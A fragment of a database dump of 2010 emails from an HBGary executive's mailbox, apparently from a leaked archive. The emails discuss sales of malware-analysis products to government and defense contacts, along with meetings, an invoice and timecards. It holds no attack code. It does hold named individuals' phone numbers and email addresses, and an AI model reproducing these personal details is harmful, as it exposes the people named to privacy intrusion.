processing\r\ncapability and a front end which allows users to search the processed\r\nrepository for any sort of minute detail that was recorded.  So if you want\r\nto search your malware repository for how many samples came from an IP set,\r\nor contained a specific MUTEX, or had a specific string, etc.  NSAs words,\r\nthey thought it could be a game changer for them for processing malware.\r\n\r\nActive defense is more for the enterprise.  It manages the deployments of\r\nDDNA to the endpoints and also provides a front end for searching your\r\nenterprise for specific information.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',3316,'aaron_hbgary_com/3316.html'),(5875,'2010-05-02','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004281.M663400P14101Q730.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Evaluating HBGary Software','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThe key is for Bob Nissen and the guy sitting next to him say\r\nResponder Pro is good.&nbsp; Bob said he has too many malware to analyze and he\r\nhas lower skilled people who need better tools.&nbsp; Responder has evolved to\r\na point where it is truly excellent and useful, even to pet rock guys.&nbsp; He\r\nwill either see that or he won&#8217;t.\r\n\r\n&nbsp;\r\n\r\nAs for TMC, Greg said that if they only want one TMC node then\r\nthey don&#8217;t need TMC, they can just use one license of Responder, albeit\r\nin a clumsy way.&nbsp; Greg said it would take about an hour for an HBGary\r\nengineer to use ITHC to write a script to grab malware one by one from a directory,\r\ncreate a project, run it inside of a REcon/VM, snapshot memory, run DDNA, print\r\nreport, close the project, then repeat for each malware.\r\n\r\n&nbsp;\r\n\r\nHey, how about having your HBG Fed guy try his hand at\r\nthis?&nbsp; It would take him longer but he&#8217;d get schooled on the\r\nproduct.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Saturday, May 01, 2010 7:16 PM\r\nTo: Bob Slapnik\r\nSubject: Re: Evaluating HBGary Software\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nok. &nbsp;I am going to follow up with Matt Bodman on\r\nMonday. &nbsp;I will call you before I call him.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn May 1, 2010, at 6:52 PM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI sent this email to Bob Nissen.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Bob\r\nSlapnik [mailto:bob@hbgary.com]&nbsp;\r\nSent:&nbsp;Saturday, May 01,\r\n2010 6:52 PM\r\nTo:&nbsp;\'r.nissen@radium.ncsc.mil\'\r\nSubject:&nbsp;Evaluating HBGary\r\nSoftware\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBob,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nGood to see you on Friday.&nbsp; We discussed the next step being\r\nyour evaluation of Responder Professional.&nbsp; It has all of the main\r\ncomponents within the Threat Monitoring System &#8211; Digital DNA for binary\r\nscoring, REcon for runtime tracing, and memory forensics &#8211; albeit in a\r\nstandalone system.&nbsp; Additionally, Responder Pro has a suite of binary\r\nanalysis capabilities.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI recommend that you start your usage of Responder Pro via its\r\nuser interface so you learn about what it does and how it works.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThen if you want to analyze a number of binaries in an automated,\r\nunattended fashion you can use the command line interface called Inspector Test\r\nHarness Client (ITHC).&nbsp; Let me know when you are ready to use ITHC and\r\nI&#8217;ll have one of my engineers send you a plug-in script.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHere is how to download the Responder eval software (includes the\r\nDigital DNA and REcon modules).&nbsp; Please feel free to forward this email to\r\nothers so they can evaluate it also.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n- Go to&nbsp;www.hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n- Click on Register (upper right corner) to create an account\r\n(fill in the form)\r\n\r\n\r\n\r\n\r\n\r\n- Send an email to&nbsp;bob@hbgary.com&nbsp;and&nbsp;support@hbgary.com&nbsp;to request the eval software.&nbsp;\r\nOne of us will manually enable your account and send you an email that you can\r\nproceed with the download.\r\n\r\n\r\n\r\n\r\n\r\n- Click on PORTAL\r\n\r\n\r\n\r\n\r\n\r\n- On the portal page click on My Downloads\r\n\r\n\r\n\r\n\r\n\r\n- Download the software, install it and run it.\r\n\r\n\r\n\r\n\r\n\r\n- Send the Machine ID to&nbsp;bob@hbgary.com&nbsp;and&nbsp;support@hbgary.com, then we will send you\r\na 14-day eval key.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\n\r\n\r\n\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\n\r\n\r\n\r\n\r\nwww.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.814 / Virus Database: 271.1.1/2842 - Release Date: 05/01/10\r\n14:27:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14896,'aaron_hbgary_com/14896.html'),(5876,'2010-05-02','\"Aaron HBGary\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004282.M437154P14101Q732.eml','\"Leary, Mark F (IS)\" <mark.leary@ngc.com>','Re: EXTERNAL:Question for you','Tomorrow evening?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn May 1, 2010, at 8:10 PM, \"Leary, Mark F (IS)\"  wrote:\r\n\r\n> Hey - Steve is in town and looking for some company tomorrow?\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, April 29, 2010 8:41 AM\r\n> To: Leary, Mark F (IS)\r\n> Subject: EXTERNAL:Question for you\r\n> \r\n> Mark,\r\n> \r\n> The HBGary product side were asking me who would be a good person to talk\r\n> with at NG about their new products, I thought naturally you.\r\n> \r\n> If you have some time maybe we can get some lunch (drink) I can run down\r\n> Active Defense, Threat Management Center, and new additions to DDNA and\r\n> Responder and get your thoughts.  Then we could schedule maybe a more formal\r\n> demo.\r\n> \r\n> TMC maybe not a huge benefit to an NG like organization, but still pretty\r\n> neat.  We are heading up to NSA tomorrow to brief some combined groups on\r\n> it.  The base system can process around 20K binaries a day and prioritize\r\n> based on threat score using DDNA.  REcon is hooked in as the processing\r\n> capability and a front end which allows users to search the processed\r\n> repository for any sort of minute detail that was recorded.  So if you want\r\n> to search your malware repository for how many samples came from an IP set,\r\n> or contained a specific MUTEX, or had a specific string, etc.  NSAs words,\r\n> they thought it could be a game changer for them for processing malware.\r\n> \r\n> Active defense is more for the enterprise.  It manages the deployments of\r\n> DDNA to the endpoints and also provides a front end for searching your\r\n> enterprise for specific information.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n',10358,'aaron_hbgary_com/10358.html'),(5877,'2010-05-02','\"Aaron HBGary\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004282.M64083P14101Q731.eml','\"Leary, Mark F (IS)\" <mark.leary@ngc.com>','Re: EXTERNAL:Question for you','Yes i do.  1 I would be interested to hear about that analysis.  There are two new products I think are important.  Active defense - enterprise DDNA management as well as adhoc query across the enterprise.  Also TMC our volume binary processor.  If we get together tomorrow i will give you the 10min. Version.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn May 1, 2010, at 8:09 PM, \"Leary, Mark F (IS)\"  wrote:\r\n\r\n> You do know we ran the HBGary products through the hoops at the CSOC for\r\n> a few months?  I think the feedback was \"too labor intensive\" for the\r\n> payback.  If there is something new - I\'m open.  Where you located?\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, April 29, 2010 8:41 AM\r\n> To: Leary, Mark F (IS)\r\n> Subject: EXTERNAL:Question for you\r\n> \r\n> Mark,\r\n> \r\n> The HBGary product side were asking me who would be a good person to\r\n> talk with at NG about their new products, I thought naturally you.\r\n> \r\n> If you have some time maybe we can get some lunch (drink) I can run down\r\n> Active Defense, Threat Management Center, and new additions to DDNA and\r\n> Responder and get your thoughts.  Then we could schedule maybe a more\r\n> formal demo.\r\n> \r\n> TMC maybe not a huge benefit to an NG like organization, but still\r\n> pretty neat.  We are heading up to NSA tomorrow to brief some combined\r\n> groups on it.  The base system can process around 20K binaries a day and\r\n> prioritize based on threat score using DDNA.  REcon is hooked in as the\r\n> processing capability and a front end which allows users to search the\r\n> processed repository for any sort of minute detail that was recorded.\r\n> So if you want to search your malware repository for how many samples\r\n> came from an IP set, or contained a specific MUTEX, or had a specific\r\n> string, etc.  NSAs words, they thought it could be a game changer for\r\n> them for processing malware.\r\n> \r\n> Active defense is more for the enterprise.  It manages the deployments\r\n> of DDNA to the endpoints and also provides a front end for searching\r\n> your enterprise for specific information.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n',9587,'aaron_hbgary_com/9587.html'),(5878,'2010-05-02','\"Leary, Mark F (IS)\" <mark.leary@ngc.com>','/aaron@hbgary.com/new/1297004282.M645560P14101Q733.eml','\"Aaron HBGary\" <aaron@hbgary.com>','RE: EXTERNAL:Question for you','Sunday.  He\'s trapped in town this weekend and going to the movies at\r\nRegal Theatre near Dulles Town Center; there is a fine Irish\r\nestablishment nearby - not interested in a movie but may be in the Mall\r\narea to be talked into a pint (or towo) during a hockey game or what\r\nnot.\r\n\r\n-----Original Message-----\r\nFrom: Aaron HBGary [mailto:aaron@hbgary.com] \r\nSent: Saturday, May 01, 2010 9:13 PM\r\nTo: Leary, Mark F (IS)\r\nSubject: Re: EXTERNAL:Question for you\r\n\r\nTomorrow evening?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn May 1, 2010, at 8:10 PM, \"Leary, Mark F (IS)\" \r\nwrote:\r\n\r\n> Hey - Steve is in town and looking for some company tomorrow?\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, April 29, 2010 8:41 AM\r\n> To: Leary, Mark F (IS)\r\n> Subject: EXTERNAL:Question for you\r\n> \r\n> Mark,\r\n> \r\n> The HBGary product side were asking me who would be a good person to\r\ntalk\r\n> with at NG about their new products, I thought naturally you.\r\n> \r\n> If you have some time maybe we can get some lunch (drink) I can run\r\ndown\r\n> Active Defense, Threat Management Center, and new additions to DDNA\r\nand\r\n> Responder and get your thoughts.  Then we could schedule maybe a more\r\nformal\r\n> demo.\r\n> \r\n> TMC maybe not a huge benefit to an NG like organization, but still\r\npretty\r\n> neat.  We are heading up to NSA tomorrow to brief some combined groups\r\non\r\n> it.  The base system can process around 20K binaries a day and\r\nprioritize\r\n> based on threat score using DDNA.  REcon is hooked in as the\r\nprocessing\r\n> capability and a front end which allows users to search the processed\r\n> repository for any sort of minute detail that was recorded.  So if you\r\nwant\r\n> to search your malware repository for how many samples came from an IP\r\nset,\r\n> or contained a specific MUTEX, or had a specific string, etc.  NSAs\r\nwords,\r\n> they thought it could be a game changer for them for processing\r\nmalware.\r\n> \r\n> Active defense is more for the enterprise.  It manages the deployments\r\nof\r\n> DDNA to the endpoints and also provides a front end for searching your\r\n> enterprise for specific information.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n',16779,'aaron_hbgary_com/16779.html'),(5879,'2010-05-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004282.M858158P14101Q734.eml','\"Leary, Mark F (IS)\" <mark.leary@ngc.com>','Re: EXTERNAL:Question for you','Let\'s do that.  I talked to him earlier.  He mentioned the movie\r\nthing.  I think he is up for a meal, even if it\'s a liquid one.\r\n\r\n From my iPhone\r\n\r\nOn May 1, 2010, at 10:04 PM, \"Leary, Mark F (IS)\" \r\nwrote:\r\n\r\n> Sunday.  He\'s trapped in town this weekend and going to the movies at\r\n> Regal Theatre near Dulles Town Center; there is a fine Irish\r\n> establishment nearby - not interested in a movie but may be in the\r\n> Mall\r\n> area to be talked into a pint (or towo) during a hockey game or what\r\n> not.\r\n>\r\n> -----Original Message-----\r\n> From: Aaron HBGary [mailto:aaron@hbgary.com]\r\n> Sent: Saturday, May 01, 2010 9:13 PM\r\n> To: Leary, Mark F (IS)\r\n> Subject: Re: EXTERNAL:Question for you\r\n>\r\n> Tomorrow evening?\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>\r\n> On May 1, 2010, at 8:10 PM, \"Leary, Mark F (IS)\" \r\n> wrote:\r\n>\r\n>> Hey - Steve is in town and looking for some company tomorrow?\r\n>>\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Thursday, April 29, 2010 8:41 AM\r\n>> To: Leary, Mark F (IS)\r\n>> Subject: EXTERNAL:Question for you\r\n>>\r\n>> Mark,\r\n>>\r\n>> The HBGary product side were asking me who would be a good person to\r\n> talk\r\n>> with at NG about their new products, I thought naturally you.\r\n>>\r\n>> If you have some time maybe we can get some lunch (drink) I can run\r\n> down\r\n>> Active Defense, Threat Management Center, and new additions to DDNA\r\n> and\r\n>> Responder and get your thoughts.  Then we could schedule maybe a more\r\n> formal\r\n>> demo.\r\n>>\r\n>> TMC maybe not a huge benefit to an NG like organization, but still\r\n> pretty\r\n>> neat.  We are heading up to NSA tomorrow to brief some combined\r\n>> groups\r\n> on\r\n>> it.  The base system can process around 20K binaries a day and\r\n> prioritize\r\n>> based on threat score using DDNA.  REcon is hooked in as the\r\n> processing\r\n>> capability and a front end which allows users to search the processed\r\n>> repository for any sort of minute detail that was recorded.  So if\r\n>> you\r\n> want\r\n>> to search your malware repository for how many samples came from an\r\n>> IP\r\n> set,\r\n>> or contained a specific MUTEX, or had a specific string, etc.  NSAs\r\n> words,\r\n>> they thought it could be a game changer for them for processing\r\n> malware.\r\n>>\r\n>> Active defense is more for the enterprise.  It manages the\r\n>> deployments\r\n> of\r\n>> DDNA to the endpoints and also provides a front end for searching\r\n>> your\r\n>> enterprise for specific information.\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n',15595,'aaron_hbgary_com/15595.html'),(5880,'2010-05-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004283.M316859P14101Q736.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Barbara Vermilyea\" <barbarabookkeeping@yahoo.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Invoice from HBGary Federal LLC','Dear Penny Leavy-Hoglund,\r\n\r\nYour invoice is attached.  Please remit payment at your earliest\r\nconvenience.\r\n\r\nThank you for your business - we appreciate it very much.\r\n\r\nSincerely,\r\nHBGary Federal LLC\r\n		\r\n\r\n\r\n------------------------  Invoice Summary  --------------------------\r\nInvoice #: 1005\r\nInvoice Date: 04/30/2010\r\nDue Date: 05/15/2010\r\nTerms: Net 15\r\nAmount Due: $13,645.17\r\n\r\nThe complete version has been provided as an attachment to this email.\r\n---------------------------------------------------------------------\r\n\r\n\r\nWindows users: To view your invoice open the attached PDF file.\r\nYou must have Adobe Reader installed to view the attachment.\r\nTo download the reader, go to this page:\r\n	http://www.adobe.com/products/acrobat/readstep2.html\r\n\r\ndelivered by QuickBooks Online Plus\r\nhttp://quickbooksonline.intuit.com/learn?sc=QOE-COM-REFINV\r\n\r\n\r\n\r\n\r\n',4741,'aaron_hbgary_com/4741.html'),(5881,'2010-05-02','ted@hbgary.com','/aaron@hbgary.com/new/1297004283.M535109P14101Q737.eml','aaron@hbgary.com','Ted Vera has invited you to use QuickBooks Online Plus','\r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n\r\nGreetings,\r\n\r\nCongratulations, Ted Vera has invited you to join\r\nQuickBooks Online Plus as a new user of HBGary Federal, LLC..\r\n\r\nQuickBooks Online Plus\r\ncan help you easily manage your business finances online.\r\nWorking online also provides the ability for several members of a company to access the company\'s financial books.\r\n\r\nOnce you accept this invitation, you\'ll be able to access\r\nQuickBooks Online Plus immediately.\r\n\r\nReady to accept this invitation?\r\n\r\nTo accept this invitation, click here.\r\n\r\nIf you don\'t already have a login account (user name and password) with us, you\'ll be asked to create one.\r\nYou may already have a login account if you\'ve used Intuit Business Services before\r\n(such as QuickBooks Online or Intuit Online Payroll).\r\n\r\nHow to log in\r\n\r\nOnce you accept this invitation, you can access HBGary Federal, LLC. by logging in at: \r\n\r\nhttps://accounting.quickbooks.com\r\nhttp://intuitonlinepayroll.com/login\r\n\r\n\r\n\r\nWhat are the system requirements for QuickBooks Online?\r\nWhat are the system requirements for Intuit Online Payroll?\r\n\r\n\r\nNeed help? We have answers the way you want them! Check out our Answer Center for quick and easy self-service solutions\r\nfor all your important questions. Visit\r\n\r\nwww.qboe.com/support\r\nwww.intuitonlinepayroll.com/support\r\n\r\nWe appreciate your business. Thank you for managing your business finances with us.\r\n\r\nBest regards,\r\nThe QuickBooks Online and Intuit Online Payroll Teams\r\n\r\n\r\n\r\nNote: This email was sent from an address that can\'t accept incoming email.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5721,'aaron_hbgary_com/5721.html'),(5882,'2010-05-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004283.M804095P14101Q738.eml','\"Aaron Barr\" <aaron@hbgary.com>','Timecards','I just created your timecard account.  You should have received a link\r\nwith login instructions.  We need to get your timecards entered to get\r\nyou up to date.  Most of your time should go to Overhead G&A, Overhead\r\nMarketing, and Overhead Bid & Proposal.\r\n\r\nTed\r\n',11904,'aaron_hbgary_com/11904.html'),(5883,'2010-05-02','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004283.M88952P14101Q735.eml','\"Aaron Barr\" <aaron@hbgary.com>','Ciphent','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nWhich Canadian firm did you say owns Ciphent?&nbsp; Any\r\nbackground about the conversation you had recently that I can leverage?\r\n\r\n&nbsp;\r\n\r\nI am meeting with Ciphent on Wed to see if they can be a\r\nreseller of our software.&nbsp; They could also be a partner who can provide\r\nservices &#8211; looks like most of their work is commercial, but they do have\r\ngov&#8217;t too.\r\n\r\n&nbsp;\r\n\r\nTheir website says they are a private corporation.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14364,'aaron_hbgary_com/14364.html'),(5884,'2010-05-02','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004284.M13737P14101Q739.eml','\"Aaron Barr\" <aaron@hbgary.com>','Robert Brammer','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nAny developments with Robert Brammer and NG?&nbsp; They must be\r\ngetting hammered with malware like every other contractor.\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16790,'aaron_hbgary_com/16790.html'),(5885,'2010-05-03','\"Aaron HBGary\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004284.M229154P14101Q740.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Robert Brammer','I just had dinner with the deputy ciao for NG.  Brammer is a waste of time don\'t bother.  I will contact cal.  Still need to do that.\r\n\r\nSent from my iPad\r\n\r\nOn May 2, 2010, at 2:04 PM, \"Bob Slapnik\"  wrote:\r\n\r\n> Aaron,\r\n> \r\n>  \r\n> \r\n> Any developments with Robert Brammer and NG?  They must be getting hammered with malware like every other contractor.\r\n> \r\n>  \r\n> \r\n> Bob Slapnik  |  Vice President  |  HBGary, Inc.\r\n> \r\n> Office 301-652-8885 x104  | Mobile 240-481-1419\r\n> \r\n> www.hbgary.com  |  bob@hbgary.com\r\n> \r\n>  \r\n',10966,'aaron_hbgary_com/10966.html'),(5886,'2010-05-03','\"Aaron HBGary\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004284.M469021P14101Q741.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Ciphent','Not ciphent.  I don\'t know them.  Psiphon.\r\n\r\nSent from my iPad\r\n\r\nOn May 2, 2010, at 10:21 AM, \"Bob Slapnik\"  wrote:\r\n\r\n> Aaron,\r\n> \r\n>  \r\n> \r\n> Which Canadian firm did you say owns Ciphent?  Any background about the conversation you had recently that I can leverage?\r\n> \r\n>  \r\n> \r\n> I am meeting with Ciphent on Wed to see if they can be a reseller of our software.  They could also be a partner who can provide services – looks like most of their work is commercial, but they do have gov’t too.\r\n> \r\n>  \r\n> \r\n> Their website says they are a private corporation.\r\n> \r\n>  \r\n> \r\n> Bob\r\n> \r\n>  \r\n',8684,'aaron_hbgary_com/8684.html'),(5887,'2010-05-03','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297004284.M697731P14101Q742.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: NDA with SecDev Group','Hi Aaron, Just checking back -- any updates on the podcast? Best, Karen--- On Tue, 4/13/10, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Subject: Re: NDA with SecDev GroupTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Date: Tuesday, April 13, 2010, 8:22 AM\r\n\r\n\r\n\r\n\r\nGreat, thanks Aaron. Best, K--- On Tue, 4/13/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: NDA with SecDev GroupTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Cc: \"Penny Leavy\" &lt;penny@hbgary.com&gt;Date: Tuesday, April 13, 2010, 5:13 AM\r\nHi Karen,We just completed the NDA with the SecDev group (canadian group that lead the GhostNet and ShadowNet investigations.&nbsp; I should be talking with them today or tomorrow about the podcast and future investigation efforts.&nbsp; I will let you know on the podcast as soon as I talk with them.Aaron BarrCEOHBGary Federal Inc.\r\n\r\n',15032,'aaron_hbgary_com/15032.html'),(5888,'2010-04-30','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297004284.M941133P14101Q743.eml','aaron@hbgary.com','Alarm - NSA Demo','April 30, 2010 9:00 AM : NSA Demo \r\n',9982,'aaron_hbgary_com/9982.html'),(5889,'2010-05-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004285.M159718P14101Q744.eml','\"Bob Slapnik\" <bob@hbgary.com>','TMC','Bob,\r\n\r\nSo if we were to actually sell them a TMC what figure are you thinking?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',16745,'aaron_hbgary_com/16745.html'),(5890,'2010-05-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004285.M442791P14101Q745.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Evaluating HBGary Software','yep I think that would be a good exercise. &nbsp;But couldn\'t the NSA folks do this themselves? &nbsp;Could they without having any source write a wrapper around Responder that did the same thing using the command line.AaronOn May 1, 2010, at 8:41 PM, Bob Slapnik wrote:The key is for Bob Nissen and the guy sitting next to him say Responder Pro is good.&nbsp; Bob said he has too many malware to analyze and he has lower skilled people who need better tools.&nbsp; Responder has evolved to a point where it is truly excellent and useful, even to pet rock guys.&nbsp; He will either see that or he won’t.&nbsp;As for TMC, Greg said that if they only want one TMC node then they don’t need TMC, they can just use one license of Responder, albeit in a clumsy way.&nbsp; Greg said it would take about an hour for an HBGary engineer to use ITHC to write a script to grab malware one by one from a directory, create a project, run it inside of a REcon/VM, snapshot memory, run DDNA, print report, close the project, then repeat for each malware.&nbsp;Hey, how about having your HBG Fed guy try his hand at this?&nbsp; It would take him longer but he’d get schooled on the product.&nbsp;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Saturday, May 01, 2010 7:16 PMTo:&nbsp;Bob SlapnikSubject:&nbsp;Re: Evaluating HBGary Software&nbsp;ok. &nbsp;I am going to follow up with Matt Bodman on Monday. &nbsp;I will call you before I call him.&nbsp;Aaron&nbsp;On May 1, 2010, at 6:52 PM, Bob Slapnik wrote:Aaron,&nbsp;I sent this email to Bob Nissen.&nbsp;Bob&nbsp;&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Saturday, May 01, 2010 6:52 PMTo:&nbsp;\'r.nissen@radium.ncsc.mil\'Subject:&nbsp;Evaluating HBGary Software&nbsp;Bob,&nbsp;Good to see you on Friday.&nbsp; We discussed the next step being your evaluation of Responder Professional.&nbsp; It has all of the main components within the Threat Monitoring System – Digital DNA for binary scoring, REcon for runtime tracing, and memory forensics – albeit in a standalone system.&nbsp; Additionally, Responder Pro has a suite of binary analysis capabilities.&nbsp;I recommend that you start your usage of Responder Pro via its user interface so you learn about what it does and how it works.&nbsp;Then if you want to analyze a number of binaries in an automated, unattended fashion you can use the command line interface called Inspector Test Harness Client (ITHC).&nbsp; Let me know when you are ready to use ITHC and I’ll have one of my engineers send you a plug-in script.&nbsp;Here is how to download the Responder eval software (includes the Digital DNA and REcon modules).&nbsp; Please feel free to forward this email to others so they can evaluate it also.&nbsp;- Go to&nbsp;www.hbgary.com- Click on Register (upper right corner) to create an account (fill in the form)- Send an email to&nbsp;bob@hbgary.com&nbsp;and&nbsp;support@hbgary.com&nbsp;to request the eval software.&nbsp; One of us will manually enable your account and send you an email that you can proceed with the download.- Click on PORTAL- On the portal page click on My Downloads- Download the software, install it and run it.- Send the Machine ID to&nbsp;bob@hbgary.com&nbsp;and&nbsp;support@hbgary.com, then we will send you a 14-day eval key.&nbsp;Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.Office 301-652-8885 x104&nbsp; | Mobile 240-481-1419www.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com&nbsp;&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.814 / Virus Database: 271.1.1/2842 - Release Date: 05/01/10 14:27:00\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10748,'aaron_hbgary_com/10748.html'),(5891,'2010-05-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004285.M683954P14101Q746.eml','\"Bob Slapnik\" <bob@hbgary.com>','REBL Conference','So I got the paper from Scott Brown, who seems to be a HBGary supporter based on his language and tone during the meeting.  He wants a talk on the current state of Malware.  I don\'t think Greg is interested, and I am not sure I can pull it off.  It would be a great opportunity but just not sure if I can be credible.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',2148,'aaron_hbgary_com/2148.html'),(5892,'2010-05-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004285.M898647P14101Q747.eml','\"Penny Leavy\" <penny@hbgary.com>','Demo','Penny,\r\n\r\nCan we set up a capabilities demo with the SecDev guys for this week or early next?  Give me a call when u get in and have a second.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',13293,'aaron_hbgary_com/13293.html'),(5893,'2010-05-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004286.M110348P14101Q748.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Robert Brammer','Brammer is not the guy for this. &nbsp;He is the IS CTO and somewhat neutered at that. &nbsp;The CISO Tim McKnight, but more importantly, Mark Leary, his deputy, is the person to talk with. &nbsp;I had dinner with him last night, hes a friend. &nbsp;I will get us another opportunity to demo active defense. &nbsp;They evaluated, being Chris Barnett and George Bakos, HBGary and their was take was good products but to labor intensive for enterprise defense. &nbsp;Malware analysis is for the 6 guys that George runs up in Andover, MA. &nbsp;Their focus is on products that can better defend. &nbsp;NG has probably the best internal IT security program in 